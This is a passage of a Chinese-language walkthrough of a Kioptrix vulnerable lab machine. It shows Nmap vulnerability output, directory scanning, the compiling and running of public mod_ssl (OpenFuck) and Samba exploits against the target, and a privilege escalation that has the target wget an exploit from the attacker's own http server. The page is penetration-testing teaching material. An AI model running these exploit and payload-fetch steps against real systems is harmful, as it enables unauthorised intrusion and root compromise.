&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-054: false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;| smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;| denial of service (system crash) via an &amp;amp; (ampersand) character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;| aka &amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 333.53 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="目录扫描"&gt;目录扫描
&lt;/h3&gt;&lt;p&gt;从Nmap扫描的结果来看，它提示以下几个文件目录，可能有洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123113707992" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123113707992.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令扫描目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://192.168.139.129/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123114053886" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114053886.png"&gt;&lt;/p&gt;
&lt;p&gt;看一圈泄露的目录后发现mod_ssl目录下似乎提示此漏洞可利用（靶机会这样提示，实战要自己猜自己挖）。且从之前的Nmap扫描结果中看出，SSL存在漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123114614001" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123114614001.png"&gt;&lt;/p&gt;
&lt;h3 id="ssl漏洞利用-80443端口"&gt;SSL漏洞利用 80/443端口
&lt;/h3&gt;&lt;p&gt;Kali终端中输入以下命令，查找可用的攻击方式。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit mod_ssl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123115109070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115109070.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123115239891" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123115239891.png"&gt;&lt;/p&gt;
&lt;p&gt;根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式，如果下载文件有损坏，可以到 &lt;a class="link" href="https://www.exploit-db.com/" target="_blank" rel="noopener"
 &gt;https://www.exploit-db.com/&lt;/a&gt; 网站下载对应源码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m 47080.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo apt-get install libssl-dev &lt;span class="c1"&gt;# 安装依赖环境&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o ssl47080 47080.c -lcrypto &lt;span class="c1"&gt;# 编译源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123123541129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123541129.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123617816" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123617816.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123642645" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123642645.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; ./ssl47080 &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;1.3.20&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;筛选符合 &lt;code&gt;Apache 1.3.20&lt;/code&gt;版本的工具&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123747271" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123747271.png"&gt;&lt;/p&gt;
&lt;p&gt;靶机系统是RedHat，所以使用&lt;code&gt;0x6a&lt;/code&gt;或&lt;code&gt;0x6b&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124158356" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124158356.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x6a&lt;/code&gt;测试失败，改用&lt;code&gt;0x6b&lt;/code&gt;，输入以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./ssl47080 0x6b 192.168.139.129 -c &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123124333068" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124333068.png"&gt;&lt;/p&gt;
&lt;h4 id="提权为root"&gt;提权为root
&lt;/h4&gt;&lt;p&gt;目前是使用apache账户登录shell，这个账户是用于apache服务的专用账户， 可以使用&lt;code&gt;ls /bin&lt;/code&gt;查看目前账户可以使用的命令，可以发现只能使用一些基本命令，权限较低，我们想要完整的shell就要root账户，就要提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124804957" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124804957.png"&gt;&lt;/p&gt;
&lt;p&gt;现在本地攻击机下面下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123125536502" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123125536502.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开启一个简单的http服务，提供给靶机用于下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo python -m http.server &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130859626" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130859626.png"&gt;&lt;/p&gt;
&lt;p&gt;这个靶机好在可以使用&lt;code&gt;wget&lt;/code&gt;命令下载提权脚本。如果&lt;code&gt;wget&lt;/code&gt;用不了的情况，可以尝试用&lt;code&gt;curl&lt;/code&gt;或&lt;code&gt;ftp&lt;/code&gt;下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://192.168.139.128/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130358737" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130358737.png"&gt;&lt;/p&gt;
&lt;p&gt;退出，然后再次重连，自动编译，就会获得root权限。如果重连后不是root，可以多试几次，或者更换47080.c文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123130630780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130630780.png"&gt;&lt;/p&gt;
&lt;p&gt;另一种提权的方式：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123153739527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123153739527.png"&gt;&lt;/p&gt;
&lt;h3 id="cve-2003-0651apache-rce"&gt;（CVE-2003-0651）Apache RCE
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123140948527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123140948527.png"&gt;&lt;/p&gt;
&lt;p&gt;这个&lt;code&gt;67.c&lt;/code&gt;文件最好从网站下载，kali里下载的不全。尾号305的才是正确的文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123154559276" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123154559276.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled="" type="checkbox"&gt; 但是编译不出来。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="samba-漏洞利用139端口"&gt;Samba 漏洞利用139端口
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853" target="_blank" rel="noopener"
 &gt;https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;除了ssl漏洞，可以从之前的Nmap扫描结果发现也存在Samba漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123131630150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123131630150.png"&gt;&lt;/p&gt;
&lt;p&gt;使用Nmap再次扫描靶机的网址。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap -A -p- -T4 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132310137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132310137.png"&gt;&lt;/p&gt;
&lt;p&gt;使用msf工具箱&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;search scanner/smb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;use &lt;span class="m"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; RHOST 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132616193" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132616193.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132705798" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132705798.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132939427" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132939427.png"&gt;&lt;/p&gt;
&lt;p&gt;这样就获取了samba的版本，退出msf，然后搜索samba的攻击方式，选择对应版本。下载，编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit samba 2.2.1a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m multiple/remote/10.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o Samba 10.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133303208" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133303208.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133446833" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133446833.png"&gt;&lt;/p&gt;
&lt;p&gt;查看使用方式&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133547970" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133547970.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令爆破进入，直接获得root权限。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./Samba -b &lt;span class="m"&gt;0&lt;/span&gt; 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133746810" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133746810.png"&gt;&lt;/p&gt;
&lt;h3 id="samba缓存漏洞利用139端口"&gt;Samba缓存漏洞利用139端口
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250123134042780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134042780.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索通用版本的samba攻击方式，发现，还有例如“call_trans2open”远程缓冲区溢出（2）漏洞利用的方式。下载编译后查看使用方式。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134436265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134436265.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134518934" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134518934.png"&gt;&lt;/p&gt;
&lt;h3 id="rpcbind-尝试"&gt;rpcbind 尝试
&lt;/h3&gt;&lt;p&gt;漏洞扫描的结果中还有&lt;code&gt;111&lt;/code&gt;端口和&lt;code&gt;1024&lt;/code&gt;端口的rpcbind服务，搜索了有如下方法，但是尝试失败。&lt;/p&gt;
&lt;p&gt;&lt;img alt="bea38bec29f578e9fe425c03e9b8f4d" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/bea38bec29f578e9fe425c03e9b8f4d.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/KUANTECH/p/17941528" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/KUANTECH/p/17941528&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;上面这篇文章也做过了尝试是失败的，所以rpc的漏洞就不尝试了。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;找漏洞渗透的步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nmap 扫可能的漏洞和端口&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sn kali的ip/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dirb扫目录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;观察可能的端口和应用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;searchsploit 和msf搜索可用的攻击载荷&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m 67.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;search xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;use 编号
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; Rhost 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;根据版本选择poc，编译，调试，打！&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件及POC。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
